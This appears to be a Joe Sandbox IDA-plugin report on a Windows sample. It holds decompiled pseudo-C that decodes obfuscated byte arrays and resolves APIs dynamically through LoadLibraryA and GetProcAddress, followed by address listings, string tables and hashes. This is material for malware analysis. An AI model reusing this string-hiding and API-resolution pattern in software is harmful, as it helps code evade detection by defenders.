																	__eax = E0041C580( &_a76);
																	__esp = __esp + 8;
																	__eax = GetProcAddress(__edi, __eax);
																	__eax = __eax;
																	 *0x431f10 = __eax;
																	if(__eax == 0) {
																		goto L1;
																	} else {
																		__edx =  &_a40;
																		_push( &_a40);
																		__ecx =  &_a164;
																		__edi = __edi;
																		__edx = 0xb;
																		_a40 = 0x6d;
																		_a41 = 0x96;
																		_a42 = 0x80;
																		_a43 = 6;
																		_a44 = 0xa9;
																		_a45 = 0x60;
																		_a46 = 0x53;
																		_a47 = 0xb;
																		_a48 = 0xec;
																		_a49 = 0xb1;
																		_a50 = 0xd3;
																		_a164 = 0xc8;
																		_a165 = 0x9d;
																		_a166 = 0xee;
																		_a167 = 0x8b;
																		_a168 = 0xf9;
																		_a169 = 0xca;
																		_a170 = 0xf8;
																		_a171 = 0xd6;
																		_a172 = 0x92;
																		_a173 = 0xde;
																		_a174 = 0x92;
																		__eax = E0041C4C0(__ecx,  &_a40);
																		__esp = __esp + 4;
																		__eax = LoadLibraryA(__eax);
																		__edi = __eax;
																		__edi = __eax;
																		if(__edi == 0) {
																			goto L1;
																		} else {
																			__eax =  &_a152;
																			_push(0xa);
																			_push( &_a152);
																			__eax =  &_a204;
																			_a152 = 0x37;
																			_a153 = 0x3b;
																			_a154 = 0x8f;
																			_a155 = 0x69;
																			_a156 = 0x24;
																			_a157 = 0x7f;
																			_a158 = 0x60;
																			_a159 = 0xe9;
																			_a160 = 0xec;
																			_a161 = 0x4c;
																			_a204 = 0x4c;
																			_a205 = 0xad;
																			_a206 = 0x8f;
																			_a207 = 0x14;
																			_a208 = 0x11;
																			_a209 = 0x4d;
																			_a210 = 0x1b;
																			_a211 = 0xff;
																			_a212 = 0x48;
																			_a213 = 0x40;
																			__eax = E0041C580( &_a204);
																			__esp = __esp + 8;
																			__eax = GetProcAddress(__edi, __eax);
																			 *0x431f14 = __eax;
																			if(__eax == 0) {
																				goto L1;
																			} else {
																				__ecx =  &_a56;
																				__ecx =  &_a76;
																				__edx = 0x12;
																				_a56 = 0x75;
																				_a57 = 6;
																				_a58 = 0xcc;
																				_a59 = 0x8b;
																				_a60 = 0x4c;
																				_a61 = 0xb8;
																				_a62 = 0x36;
																				_a63 = 0x4d;
																				_a64 = 0x1e;
																				_a65 = 0x53;
																				_a66 = 0xb7;
																				_a67 = 0x58;
																				_a68 = 0xd4;
																				_a69 = 0xa5;
																				_a70 = 0xf1;
																				_a71 = 0xd3;
																				_a72 = 0x12;
																				_a73 = 0x39;
																				_a76 = 0x4a;
																				_a77 = 0x19;
																				_a78 = 0x7c;
																				_a79 = 8;
																				_a80 = 0x5f;
																				_a81 = 0x36;
																				_a82 = 0x58;
																				_a83 = 0x3c;
																				_a84 = 0x53;
																				_a85 = 0x24;
																				_a86 = 0x57;
																				_a87 = 0x1f;
																				_a88 = 0x70;
																				_a89 = 0x1f;
																				_a90 = 0x74;
																				_a91 = 0x31;
																				_a92 = 0x49;
																				_a93 = 8;
																				__eax = E0041C4C0( &_a76, 0x12,  &_a56);
																				__eax = GetProcAddress(__edi, __eax);
																				__edx = 0;
																				_t471 = __eax != 0;
																				__edx = 0 | _t471;
																				 *0x431f18 = __eax;
																				__eax = _t471;
																				goto L34;
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0041d160
0x0041d174
0x0041d188
0x0041d195
0x0041d19c
0x0041d19f
0x0041d1a4
0x0041d1ad
0x0041d1b1
0x0041d1b6
0x0041c80f
0x0041c827
0x0041d1bc
0x0041d1bc
0x0041d1c3
0x0041d1c5
0x0041d1c6
0x0041d1ca
0x0041d1d2
0x0041d1da
0x0041d1e2
0x0041d1ea
0x0041d1f2
0x0041d1fa
0x0041d202
0x0041d20a
0x0041d212
0x0041d21a
0x0041d222
0x0041d22a
0x0041d232
0x0041d23a
0x0041d23f
0x0041d244
0x0041d249
0x0041d24e
0x0041d253
0x0041d258
0x0041d25d
0x0041d262
0x0041d267
0x0041d26c
0x0041d271
0x0041d276
0x0041d27b
0x0041d280
0x0041d285
0x0041d28a
0x0041d28c
0x0041d28e
0x0041d293
0x00000000
0x0041d299
0x0041d299
0x0041d2a2
0x0041d2aa
0x0041d2b2
0x0041d2ba
0x0041d2c2
0x0041d2ca
0x0041d2d2
0x0041d2da
0x0041d2e2
0x0041d2e4
0x0041d2e6
0x0041d2eb
0x00000000
0x0041d2f1
0x0041d2f1
0x0041d2fa
0x0041d302
0x0041d30a
0x0041d312
0x0041d31a
0x0041d322
0x0041d32a
0x0041d332
0x0041d33a
0x0041d33e
0x0041d343
0x00000000
0x0041d349
0x0041d349
0x0041d350
0x0041d352
0x0041d35a
0x0041d362
0x0041d36a
0x0041d372
0x0041d37a
0x0041d382
0x0041d38a
0x0041d392
0x0041d39a
0x0041d3a2
0x0041d3aa
0x0041d3b2
0x0041d3ba
0x0041d3c2
0x0041d3ca
0x0041d3d2
0x0041d3da
0x0041d3e2
0x0041d3ea
0x0041d3f2
0x0041d3f9
0x0041d401
0x0041d406
0x0041d40b
0x0041d410
0x0041d415
0x0041d41a
0x0041d41f
0x0041d424
0x0041d429
0x0041d42e
0x0041d433
0x0041d438
0x0041d43d
0x0041d442
0x0041d447
0x0041d44c
0x0041d451
0x0041d456
0x0041d45b
0x0041d460
0x0041d465
0x0041d46a
0x0041d46f
0x0041d474
0x0041d480
0x0041d48d
0x0041d494
0x0041d495
0x0041d49a
0x0041d4a3
0x0041d4a5
0x0041d4a7
0x0041d4ac
0x00000000
0x0041d4b2
0x0041d4b2
0x0041d4b6
0x0041d4b7
0x0041d4bb
0x0041d4bc
0x0041d4bf
0x0041d4c0
0x0041d4c5
0x0041d4ca
0x0041d4cf
0x0041d4d4
0x0041d4d9
0x0041d4de
0x0041d4e3
0x0041d4e8
0x0041d4ed
0x0041d4f2
0x0041d4f7
0x0041d4fc
0x0041d501
0x0041d506
0x0041d50b
0x0041d510
0x0041d515
0x0041d51a
0x0041d51f
0x0041d524
0x0041d529
0x0041d52d
0x0041d532
0x0041d536
0x0041d53b
0x0041d542
0x0041d543
0x0041d545
0x0041d547
0x0041ddc9
0x0041ddc9
0x0041ddd1
0x0041ddd4
0x0041ddd9
0x0041dddf
0x0041d54d
0x0041d54d
0x0041d555
0x0041d55d
0x0041d565
0x0041d56d
0x0041d575
0x0041d57d
0x0041d585
0x0041d58d
0x0041d595
0x0041d59d
0x0041d5a5
0x0041d5ad
0x0041d5b5
0x0041d5bd
0x0041d5c5
0x0041d5cd
0x0041d5d5
0x0041d5dd
0x0041d5e5
0x0041d5ed
0x0041d5f5
0x0041d5fd
0x0041d605
0x0041d60d
0x0041d615
0x0041d620
0x0041d620
0x0041d628
0x0041d629
0x0041d62e
0x0041d637
0x0041d639
0x0041d63b
0x0041d640
0x00000000
0x0041d646
0x0041d646
0x0041d64b
0x0041d650
0x0041d655
0x0041d65a
0x0041d65f
0x0041d664
0x0041d669
0x0041d66e
0x0041d673
0x0041d678
0x0041d67d
0x0041d682
0x0041d687
0x0041d68c
0x0041d690
0x0041d690
0x0041d695
0x0041d696
0x0041d69b
0x0041d6a1
0x0041d6a3
0x0041d6a5
0x0041d6aa
0x00000000
0x0041d6b0
0x0041d6b0
0x0041d6b5
0x0041d6ba
0x0041d6bf
0x0041d6c4
0x0041d6c9
0x0041d6ce
0x0041d6d3
0x0041d6d8
0x0041d6dd
0x0041d6e2
0x0041d6e7
0x0041d6ec
0x0041d6f1
0x0041d6f6
0x0041d6fb
0x0041d700
0x0041d705
0x0041d707
0x0041d707
0x0041d70c
0x0041d70d
0x0041d712
0x0041d718
0x0041d71c
0x0041d721
0x00000000
0x0041d727
0x0041d727
0x0041d729
0x0041d72e
0x0041d733
0x0041d738
0x0041d73d
0x0041d742
0x0041d747
0x0041d74c
0x0041d751
0x0041d756
0x0041d75a
0x0041d75f
0x0041d764
0x0041d769
0x0041d76e
0x0041d773
0x0041d778
0x0041d77d
0x0041d782
0x0041d787
0x0041d78c
0x0041d791
0x0041d796
0x0041d79b
0x0041d7a0
0x0041d7a5
0x0041d7ad
0x0041d7b5
0x0041d7bd
0x0041d7c5
0x0041d7cd
0x0041d7d5
0x0041d7dd
0x0041d7e5
0x0041d7ed
0x0041d7f0
0x0041d7fa
0x0041d7fe
0x0041d7ff
0x0041d804
0x0041d80a
0x0041d80e
0x0041d813
0x00000000
0x0041d819
0x0041d81b
0x0041d822
0x0041d829
0x0041d830
0x0041d831
0x0041d839
0x0041d83a
0x0041d842
0x0041d84a
0x0041d852
0x0041d85a
0x0041d862
0x0041d86a
0x0041d872
0x0041d87a
0x0041d882
0x0041d88a
0x0041d892
0x0041d89a
0x0041d8a2
0x0041d8aa
0x0041d8b2
0x0041d8ba
0x0041d8c1
0x0041d8c9
0x0041d8d1
0x0041d8d6
0x0041d8db
0x0041d8e0
0x0041d8e5
0x0041d8ed
0x0041d8f5
0x0041d8fd
0x0041d905
0x0041d90d
0x0041d915
0x0041d91d
0x0041d925
0x0041d92d
0x0041d935
0x0041d93d
0x0041d945
0x0041d94d
0x0041d955
0x0041d95d
0x0041d962
0x0041d967
0x0041d969
0x0041d96b
0x0041d970
0x00000000
0x0041d976
0x0041d976
0x0041d97b
0x0041d980
0x0041d985
0x0041d98a
0x0041d98f
0x0041d994
0x0041d999
0x0041d99e
0x0041d9a3
0x0041d9a8
0x0041d9ad
0x0041d9b2
0x0041d9b7
0x0041d9bc
0x0041d9c1
0x0041d9c6
0x0041d9cb
0x0041d9d0
0x0041d9d5
0x0041d9da
0x0041d9df
0x0041d9e4
0x0041d9e6
0x0041d9ee
0x0041d9f0
0x0041d9f4
0x0041d9f5
0x0041d9fa
0x0041da01
0x0041da03
0x0041da07
0x00000000
0x0041da0d
0x0041da0d
0x0041da15
0x0041da1d
0x0041da25
0x0041da2d
0x0041da35
0x0041da3d
0x0041da45
0x0041da4d
0x0041da55
0x0041da5d
0x0041da70
0x0041da70
0x0041da78
0x0041da79
0x0041da7e
0x0041da87
0x0041da89
0x0041da8b
0x0041da90
0x00000000
0x0041da96
0x0041da96
0x0041da9a
0x0041da9c
0x0041da9e
0x0041da9f
0x0041daa3
0x0041daa8
0x0041daad
0x0041dab2
0x0041dab7
0x0041dabc
0x0041dac1
0x0041dac6
0x0041dacb
0x0041dad0
0x0041dad5
0x0041dada
0x0041dadf
0x0041dae4
0x0041dae9
0x0041daee
0x0041daf3
0x0041daf8
0x0041dafd
0x0041db02
0x0041db07
0x0041db0b
0x0041db10
0x0041db15
0x0041db1a
0x0041db1f
0x0041db24
0x0041db29
0x0041db2e
0x0041db33
0x0041db38
0x0041db3d
0x0041db42
0x0041db47
0x0041db4c
0x0041db51
0x0041db56
0x0041db5b
0x0041db60
0x0041db62
0x0041db64
0x0041db69
0x00000000
0x0041db6f
0x0041db6f
0x0041db73
0x0041db74
0x0041db7c
0x0041db7f
0x0041db80
0x0041db85
0x0041db8a
0x0041db8f
0x0041db94
0x0041db99
0x0041db9e
0x0041dba3
0x0041dba8
0x0041dbad
0x0041dbb2
0x0041dbb7
0x0041dbbf
0x0041dbc7
0x0041dbcf
0x0041dbd7
0x0041dbdf
0x0041dbe7
0x0041dbef
0x0041dbf7
0x0041dbff
0x0041dc06
0x0041dc0e
0x0041dc13
0x0041dc17
0x0041dc19
0x0041dc1b
0x0041dc1d
0x00000000
0x0041dc23
0x0041dc23
0x0041dc2a
0x0041dc2c
0x0041dc2d
0x0041dc34
0x0041dc3c
0x0041dc44
0x0041dc4c
0x0041dc54
0x0041dc5c
0x0041dc64
0x0041dc6c
0x0041dc74
0x0041dc7c
0x0041dc84
0x0041dc8c
0x0041dc94
0x0041dc9c
0x0041dca4
0x0041dcac
0x0041dcb4
0x0041dcbc
0x0041dcc4
0x0041dccc
0x0041dcd4
0x0041dcd9
0x0041dcde
0x0041dce2
0x0041dce7
0x00000000
0x0041dced
0x0041dced
0x0041dcf2
0x0041dcf6
0x0041dcfb
0x0041dd00
0x0041dd05
0x0041dd0a
0x0041dd0f
0x0041dd14
0x0041dd19
0x0041dd1e
0x0041dd23
0x0041dd28
0x0041dd2d
0x0041dd32
0x0041dd37
0x0041dd3c
0x0041dd41
0x0041dd46
0x0041dd4b
0x0041dd50
0x0041dd55
0x0041dd5a
0x0041dd5f
0x0041dd64
0x0041dd69
0x0041dd6e
0x0041dd73
0x0041dd78
0x0041dd7d
0x0041dd82
0x0041dd87
0x0041dd8c
0x0041dd91
0x0041dd96
0x0041dd9b
0x0041dda0
0x0041dda5
0x0041ddaa
0x0041ddaf
0x0041ddb9
0x0041ddbb
0x0041ddbf
0x0041ddbf
0x0041ddc2
0x0041ddc8
0x00000000
0x0041ddc8
0x0041dce7
0x0041dc1d
0x0041db69
0x0041da90
0x0041da07
0x0041d970
0x0041d813
0x0041d721
0x0041d6aa
0x0041d640
0x0041d547
0x0041d4ac
0x0041d343
0x0041d2eb
0x0041d293

APIs

GetProcAddress.KERNEL32(00000000,00000032), ref: 0041D1AD
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041D28A
GetProcAddress.KERNEL32 ref: 0041D2E2
GetProcAddress.KERNEL32(00000000), ref: 0041D33A
GetProcAddress.KERNEL32(00000000,0000006B), ref: 0041D4A3
LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000007,?,00000001), ref: 0041D53F
GetProcAddress.KERNEL32(00000000,0000009A), ref: 0041D637
GetProcAddress.KERNEL32(00000000,000000A5), ref: 0041D6A1
GetProcAddress.KERNEL32(00000000,000000EA), ref: 0041D718
GetProcAddress.KERNEL32(00000000,00000088), ref: 0041D80A
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041D967
LoadLibraryA.KERNEL32(00000040), ref: 0041D9FF
GetProcAddress.KERNEL32(00000000,0000008A), ref: 0041DA87
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DB60

Strings

t, xrefs: 0041D8E5
., xrefs: 0041D249
l, xrefs: 0041D4D9
4, xrefs: 0041D3CA
A, xrefs: 0041D52D
e, xrefs: 0041D2C2
J, xrefs: 0041D91D
w, xrefs: 0041D9B7
(, xrefs: 0041D3DA
v, xrefs: 0041D501
y, xrefs: 0041D905
I, xrefs: 0041DAC1
2, xrefs: 0041D862
/, xrefs: 0041D925
e, xrefs: 0041D31A
Q, xrefs: 0041D362
$, xrefs: 0041DC54
M, xrefs: 0041DCAC
A, xrefs: 0041D2B2
v, xrefs: 0041D2D2
h, xrefs: 0041D8F5
@, xrefs: 0041DCCC
[, xrefs: 0041D45B
$, xrefs: 0041DD82
S, xrefs: 0041DD7D
u, xrefs: 0041DCFB
i, xrefs: 0041DC4C
R, xrefs: 0041D2BA
m, xrefs: 0041DB80
S, xrefs: 0041D4C0
H, xrefs: 0041DCC4
e, xrefs: 0041D8DB
f, xrefs: 0041D451
X, xrefs: 0041DD32
a, xrefs: 0041D465
1, xrefs: 0041DDA0
`, xrefs: 0041D94D
A, xrefs: 0041D30A
<, xrefs: 0041DD78
#, xrefs: 0041D1CA
T, xrefs: 0041DB3D
d, xrefs: 0041D32A
r, xrefs: 0041D8B2
Y, xrefs: 0041D46A
1, xrefs: 0041DAB7
H, xrefs: 0041DAE9
A, xrefs: 0041D392
T, xrefs: 0041DADA
+, xrefs: 0041D782
x, xrefs: 0041D787
4, xrefs: 0041D3C2
t, xrefs: 0041DD9B
g, xrefs: 0041D51F
x, xrefs: 0041D267
6, xrefs: 0041DD6E
W, xrefs: 0041D2A2
8, xrefs: 0041D7D5
6, xrefs: 0041DD19
L, xrefs: 0041DC7C
L, xrefs: 0041DC84
J, xrefs: 0041DD55
_, xrefs: 0041DD69
~, xrefs: 0041DAA8
S, xrefs: 0041D2AA
W, xrefs: 0041DD87
n, xrefs: 0041D322
p, xrefs: 0041DD91
X, xrefs: 0041DD73
W, xrefs: 0041D2FA
<, xrefs: 0041D401
k, xrefs: 0041D352
N, xrefs: 0041D4E8
t, xrefs: 0041D271
7, xrefs: 0041DC34
J, xrefs: 0041D37A
9, xrefs: 0041DD50
w, xrefs: 0041D7BD
`, xrefs: 0041DB99
&, xrefs: 0041D87A
&, xrefs: 0041DAF8
H, xrefs: 0041D4E3
L, xrefs: 0041DD0F
S, xrefs: 0041DD28
S, xrefs: 0041D302
c, xrefs: 0041D2CA
M, xrefs: 0041DD1E
D, xrefs: 0041D43D
S, xrefs: 0041D312
q, xrefs: 0041D50B
I, xrefs: 0041D524
_, xrefs: 0041D20A
$, xrefs: 0041D9AD
<, xrefs: 0041D8A2
B, xrefs: 0041D8D1
|, xrefs: 0041DD5F
P, xrefs: 0041D44C
>, xrefs: 0041D41A
S, xrefs: 0041DB9E
h, xrefs: 0041D93D
:, xrefs: 0041D90D
g, xrefs: 0041DB47
>, xrefs: 0041D86A
T, xrefs: 0041D35A
4, xrefs: 0041D3B2
9, xrefs: 0041D915
|, xrefs: 0041D244
`, xrefs: 0041DC64
$, xrefs: 0041D429
i, xrefs: 0041D39A
W, xrefs: 0041D9BC
I, xrefs: 0041DDA5
o, xrefs: 0041DB51
g, xrefs: 0041D92D
x, xrefs: 0041D9D5
;, xrefs: 0041DC3C
`, xrefs: 0041D852

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: #$$$$$$$$$&$&$($+$.$/$1$1$2$4$4$4$6$6$7$8$9$9$:$;$<$<$<$>$>$@$A$A$A$A$B$D$H$H$H$I$I$I$J$J$J$L$L$L$M$M$N$P$Q$R$S$S$S$S$S$S$S$T$T$T$W$W$W$W$X$X$Y$[$_$_$`$`$`$`$a$c$d$e$e$e$f$g$g$g$h$h$i$i$k$l$m$n$o$p$q$r$t$t$t$u$v$v$w$w$x$x$x$y$|$|$~
API String ID: 2238633743-1057226733
Opcode ID: f6372bd49ce01ed44815e2ae722136eb48267dbf652d6134769ed914ac243a85
Instruction ID: 15ccfb517aa135e02381fd6982354703e5be1b9d74f9120616699191c79aa4ad
Opcode Fuzzy Hash: f6372bd49ce01ed44815e2ae722136eb48267dbf652d6134769ed914ac243a85
Instruction Fuzzy Hash: 4382AA2000C7C2C9D332C67C984879FBFD51BA7228F584B9DE1E95A2E2D7A5814AC777

Uniqueness

Uniqueness Score: -1.00%

Function 00408BC0, Relevance: 214.0, Strings: 170, Instructions: 1512
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E00408BC0(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __ebp, intOrPtr* _a4) {
				char _v4;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				char _v40;
				char _v44;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				signed int _v170;
				char _v171;
				char _v172;
				signed int _v173;
				signed int _v174;
				char _v175;
				char _v176;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v265;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v313;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v322;
				char _v323;
				char _v324;
				char _v325;
				char _v326;
				char _v327;
				char _v328;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v352;
				char _v354;
				char _v355;
				char _v356;
				char _v357;
				char _v358;
				char _v359;
				char _v360;
				char _v362;
				char _v363;
				char _v364;
				char _v365;
				char _v366;
				char _v367;
				char _v368;
				char _v374;
				char _v375;
				char _v376;
				char _v377;
				char _v378;
				char _v379;
				char _v380;
				char _v381;
				char _v382;
				char _v383;
				char _v384;
				char _v386;
				char _v387;
				char _v388;
				char _v389;
				char _v390;
				char _v391;
				char _v392;
				char _v395;
				char _v396;
				char _v397;
				char _v398;
				char _v399;
				char _v400;
				char _v403;
				char _v404;
				char _v405;
				char _v406;
				char _v407;
				char _v408;
				char _v411;
				char _v412;
				char _v413;
				char _v414;
				char _v415;
				char _v416;
				char _v419;
				char _v420;
				char _v421;
				char _v422;
				char _v423;
				char _v424;
				char _v431;
				char _v432;
				char _v433;
				char _v434;
				char _v435;
				char _v436;
				char _v437;
				char _v438;
				char _v439;
				char _v440;
				char _v443;
				char _v444;
				char _v445;
				char _v446;
				char _v447;
				char _v448;
				char _v456;
				char _v460;
				char _v461;
				char _v462;
				char _v463;
				char _v464;
				char _v472;
				char _v473;
				char _v474;
				char _v475;
				char _v476;
				char _v477;
				char _v478;
				char _v479;
				char _v480;
				char _v484;
				char _v485;
				char _v486;
				char _v487;
				char _v488;
				char _v492;
				char _v493;
				char _v494;
				char _v495;
				char _v496;
				char _v504;
				char _v505;
				char _v506;
				char _v507;
				char _v508;
				char _v509;
				char _v510;
				char _v511;
				char _v512;
				char _v514;
				char _v515;
				char _v516;
				char _v517;
				char _v518;
				char _v519;
				char _v520;
				char _v521;
				char _v522;
				char _v523;
				char _v524;
				char _v525;
				char _v526;
				char _v527;
				char _v528;
				char _v529;
				char _v530;
				char _v531;
				char _v532;
				char _v533;
				char _v534;
				char _v535;
				void* _v536;
				char _v537;
				char _v538;
				char _v539;
				char _v540;
				char* _v544;
				char* _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				char* _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				char* _v572;
				intOrPtr _v576;
				char* _v580;
				char* _v584;
				char* _v588;
				char* _v592;
				intOrPtr _v596;
				char* _v600;
				char* _v604;
				intOrPtr _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				intOrPtr _v620;
				char* _v624;
				char* _v628;
				char* _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				char* _v644;
				intOrPtr _v648;
				char* _v652;
				intOrPtr _v656;
				char* _v660;
				char* _v664;
				char* _v668;
				intOrPtr _v672;
				char* _v676;
				intOrPtr _v680;
				char* _v684;
				char* _v688;
				char* _v692;
				char* _v696;
				char* _v700;
				intOrPtr _v704;
				char* _v708;
				intOrPtr _v712;
				char* _v716;
				char* _v720;
				char* _v724;
				char* _v728;
				intOrPtr _v732;
				intOrPtr _v736;
				intOrPtr _v740;
				char* _v744;
				char* _v748;
				char* _v752;
				char* _v756;
				char* _v760;
				intOrPtr _v764;
				intOrPtr _v768;
				intOrPtr _v772;
				intOrPtr _v776;
				char* _v780;
				intOrPtr _v784;
				intOrPtr _v788;
				intOrPtr _v792;
				intOrPtr _v796;
				intOrPtr _v800;
				intOrPtr _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _v816;
				intOrPtr _v820;
				intOrPtr _v824;
				intOrPtr _v828;
				intOrPtr _v832;
				intOrPtr _v836;
				intOrPtr _v840;
				intOrPtr _v844;
				intOrPtr _v848;
				intOrPtr _v852;
				intOrPtr _v856;
				intOrPtr _v860;
				intOrPtr _v864;
				intOrPtr _v868;
				char _v869;
				char _v870;
				char _v871;
				char _v872;
				char _v873;
				char _v874;
				char _v875;
				char _v876;
				char _v877;
				char _v878;
				char _v879;
				char _v880;
				char _v882;
				char _v883;
				char _v884;
				char _v885;
				char _v886;
				char _v887;
				char _v888;
				char _v892;
				char _v893;
				char _v894;
				char _v895;
				signed int _v896;
				void* _v904;
				intOrPtr _t1161;
				void* _t1165;
				void* _t1172;
				intOrPtr _t1178;
				intOrPtr _t1179;
				void* _t1180;
				void* _t1181;
				void* _t1182;
				void* _t1183;
				void* _t1184;
				intOrPtr _t1189;
				intOrPtr _t1190;
				void* _t1191;
				void* _t1192;
				void* _t1193;
				void* _t1194;
				intOrPtr _t1196;
				void* _t1197;
				intOrPtr _t1198;
				void* _t1199;
				void* _t1200;
				void* _t1202;
				void* _t1203;
				void* _t1204;
				intOrPtr _t1205;
				void* _t1206;
				void* _t1209;
				void* _t1210;
				void* _t1211;
				void* _t1215;
				void* _t1219;
				intOrPtr _t1221;
				intOrPtr _t1222;
				void* _t1223;
				void* _t1224;
				void* _t1225;
				intOrPtr _t1227;
				intOrPtr _t1233;
				void* _t1234;
				void* _t1235;
				intOrPtr _t1236;
				void* _t1237;
				void* _t1238;
				void* _t1239;
				void* _t1240;
				intOrPtr _t1242;
				void* _t1243;
				void* _t1248;
				void* _t1251;
				void* _t1252;
				void* _t1253;
				void* _t1254;
				intOrPtr _t1257;
				void* _t1261;
				signed int _t1266;
				void* _t1267;
				void* _t1271;
				intOrPtr _t1272;
				intOrPtr _t1275;
				signed int _t1282;
				void* _t1284;
				signed int _t1285;
				intOrPtr _t1319;
				void* _t1368;
				signed int _t1403;
				signed int _t1475;
				void* _t1478;
				void* _t1479;
				void* _t1482;
				void* _t1484;
				void* _t1487;
				void* _t1488;
				void* _t1490;
				void* _t1492;
				intOrPtr _t1493;
				void* _t1495;
				intOrPtr* _t1497;
				intOrPtr* _t1498;
				intOrPtr _t1499;
				signed int _t1500;
				intOrPtr* _t1502;
				intOrPtr _t1504;
				intOrPtr _t1505;
				void* _t1506;
				void* _t1509;
				void* _t1510;
				void* _t1511;
				void* _t1512;
				void* _t1513;
				void* _t1514;
				void* _t1516;
				void* _t1517;
				void* _t1518;
				void* _t1519;
				void* _t1520;

				_t1320 = __ecx;
				_push(0xffffffff);
				_push(E0042D2A8);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t1505;
				_t1506 = _t1505 - 0x374;
				_t1161 =  *0x4310d8; // 0xd0c2a9a8
				_t1502 = _a4;
				_push(__ecx);
				_pop(_t1282);
				_v16 = _t1161;
				_v896 = _t1282;
				if(_t1502 != 0) {
					_push(__edi);
					_t1478 = E00425500(_t1502, 0x40);
					_t1506 = _t1506 + 8;
					_t1479 = _t1478;
					if(_t1479 != 0) {
						if(_t1479 - _t1502 > 0x20) {
							goto L3;
						}
						_t1495 = E00425420(_t1320, _t1479, 0x2e);
						_t1506 = _t1506 + 8;
						if(_t1495 == 0) {
							L8:
							_t1165 = 0;
							L100:
							L101:
							L102:
							 *[fs:0x0] = _v12;
							return E00424873(_t1165, _v16);
						}
						_v20 = 0xf;
						_v24 = 0;
						_v40 = 0;
						_t7 = _t1495 + 1; // 0x1
						_v4 = 0;
						E00407D30(_t7);
						if(E00407560( &_v48) != 0) {
							_t1284 = _t1495;
							_t1497 = _t1495 - 1;
							if(_t1497 < _t1479) {
								L14:
								_v896 = 1;
								_t1498 = _t1502;
								_t1285 = 2;
								if(_t1502 == _t1479) {
									L22:
									_v448 = 0x81;
									_v447 = 0xb0;
									_v446 = 0xce;
